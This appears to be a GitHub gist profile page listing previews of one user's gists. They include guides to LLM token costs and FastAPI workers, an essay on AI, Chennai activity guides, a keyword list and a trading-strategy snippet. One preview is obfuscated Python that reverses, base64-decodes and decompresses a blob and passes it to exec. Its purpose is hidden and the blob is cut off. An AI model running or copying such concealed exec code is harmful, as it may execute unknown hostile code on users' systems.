Skip to content

Instantly share code, notes, and snippets.

View PandaWhoCodes's full-sized avatar

Thomas Ashish Cherian PandaWhoCodes

View GitHub Profile
@PandaWhoCodes
PandaWhoCodes / llm-token-cost-reduction.md
Created March 16, 2026 15:47
Slashing LLM Token Costs for Insurance PDF Extraction — From /bin/zsh.038 to /bin/zsh.005/run (87% savings)

Slashing LLM Token Costs for Insurance PDF Extraction

Context: A pipeline that fetches emails, triages them via LLM, downloads PDF attachments, extracts insurance policy details via LLM, and saves results. Currently spending ~$0.038/run on Groq Llama 4 Scout.


Current State — Where the Money Goes

Per Run (1 user):
@PandaWhoCodes
PandaWhoCodes / worker-offload-guide.md
Created March 16, 2026 14:08
Offloading FastAPI Pipeline Processing to On-Demand Workers — Cost Analysis & Implementation Guide

Offloading Processing to On-Demand Workers — Complete Guide

Context: A FastAPI app running a sequential email→triage→PDF→LLM→save pipeline (30-60s per run). Goal: cut always-on compute costs and scale individual bottlenecks independently.


Current Architecture — What We're Working With

User Request → FastAPI (always-on server)

Build2Learn.in — Pivoting in the Age of AI

The Catalyst

"Code is cheap. Show me the talk." — nadh.in/blog/code-is-cheap

Software development as we knew it is changing. LLMs have made building easier — anyone can spin up a clone of anything. So what matters now? Ideas, marketing, go-to-market, and real-world problem solving. This sparked a discussion among Build2Learn's core members on where to take the community next.


@PandaWhoCodes
PandaWhoCodes / article-build-first-think-never.md
Last active February 22, 2026 18:12
Build First, Think Never: Humanity's Dangerous Addiction to Unexamined Progress

Build First, Think Never: The Wisdom We Keep Forgetting

In which humanity repeatedly chooses the mirage of quick profits over the hard work of long-term thinking—and why our relationship with AI is following the same tragic script


The Wisdom of Socrates and the Folly of Progress

In ancient Athens, when Socrates first encountered the revolutionary technology of writing, he was deeply troubled. Not because he opposed innovation, but because he understood something that modern innovators have forgotten: every technology is a Faustian bargain.

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=M2SVa6B//33z7vWQ2T/4eGPt/V3mn4k7YMPSTkxJ1hvRqejDp/Lddr+dLGAlU7l7BGQoCbQBwQw89cyzbAFR8wYmJxwIjigNyrxQ+21wX3Fxhv/xohray1SB3nIgSrzWlGfnpVcXQJJw9h7/ckpoN0ZwcfgbRobY8Gf5cs/NezaGX+jlFC8hHt68R2zaPNowxYWdWdzejHven4XtVJ+zmBweBFbgm+MFb8OlNGq+CiFF20TMhVoV+LwBnFfBtWmVNraBrkk3Vvm01Gr0D02gYngXrso/ub4U0nenf/19oNzBTwYaiL1exVX6kvzJdB9aFaX1RcXSun/jpbcDhwinHqx0B6b2kWqsW2xsg4rS/QdJqBkO5JKQ/Rg3Eje2Ja9plRFJGcJzUruQu3nvI/Q2XlhfmSV1y989bOtwUGh6jsO1E6P4OW29JYFpfxLGkDYVmSOXJLquCbmK9S6PNGY1/k7NEWqPQZVfjAnR5z3Y2BM1sLYCCbeAbPqbfTvsS4IgshfxBXAKFjogcrrB1Z8KRdoJpTDu7kh/JBR4ZYF0Y6dvmZsiCgz3wOMv2mgx4yN+QCkDkv0lljQlvBczNnkAHaADDGwvWmqJNR0ICf3UO5DJjYQ59UmmnERoaru2fjXpMtv0cCC5CskU9UE2dnzJBvhXGv7lJ+vw/ALi5fErGGtLlY2vH/7LA/Y6mZCWufPRmIZRaXMdGjaO682ac1mONeUQ9vyI1tdStq/Cwy8rZDN6zUuxSOINyglQLIOtxq73WImkRo9W3JTThtTjgtzSrW/o1bxf6RuEhe8j5cO0ErUNHg2AFxCP7BKwNzPCs6SI27lHLKFMn4AsSYGwBzNQ2N86ve0UuEPyfjAvOyRoEWhRwgBP0V4V7yjtssM5Db0rOJVqSAm1xEBin00HVNI1kGbHRQS
@PandaWhoCodes
PandaWhoCodes / index.html
Created February 12, 2026 19:59
Things to Do in Chennai — 80+ Activities Interactive Guide
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Things to Do in Chennai — 80+ Activities Guide</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/gsap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/ScrollTrigger.min.js"></script>
@PandaWhoCodes
PandaWhoCodes / index.html
Last active February 12, 2026 20:01
Chennai Explorer — 100+ Things to Do (Interactive Website)
<!DOCTYPE html>
<html lang="en" class="scroll-smooth">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Chennai Explorer — 100+ Things to Do</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"><\/script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/gsap.min.js"><\/script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/ScrollTrigger.min.js"><\/script>
@PandaWhoCodes
PandaWhoCodes / chennai-activities.md
Last active February 12, 2026 19:07
Chennai Activities Guide — Beyond the Obvious (Feb 2026)

🏙️ The ULTIMATE Chennai Activities Guide

Last updated: February 2026 | Cut the middleman — book direct


🏄 WATER SPORTS & BEACH

Surfing — Covelong Point / Surf Turf

  • Learn surfing at India's best urban surf spot
  • 📍 Kovalam/Covelong, ECR · Map
A
A + Certified
A-110
A-122
A-123
A-133
A-frames
A-GPS
A/B Testing
A/R analysis
To sell only the stocks that are not there in this week's new strategy and keep the stocks that still remain, you can modify the code as follows:
```python
import backtrader as bt
import pandas as pd
# Define the strategy
class MyStrategy(bt.Strategy):
def __init__(self):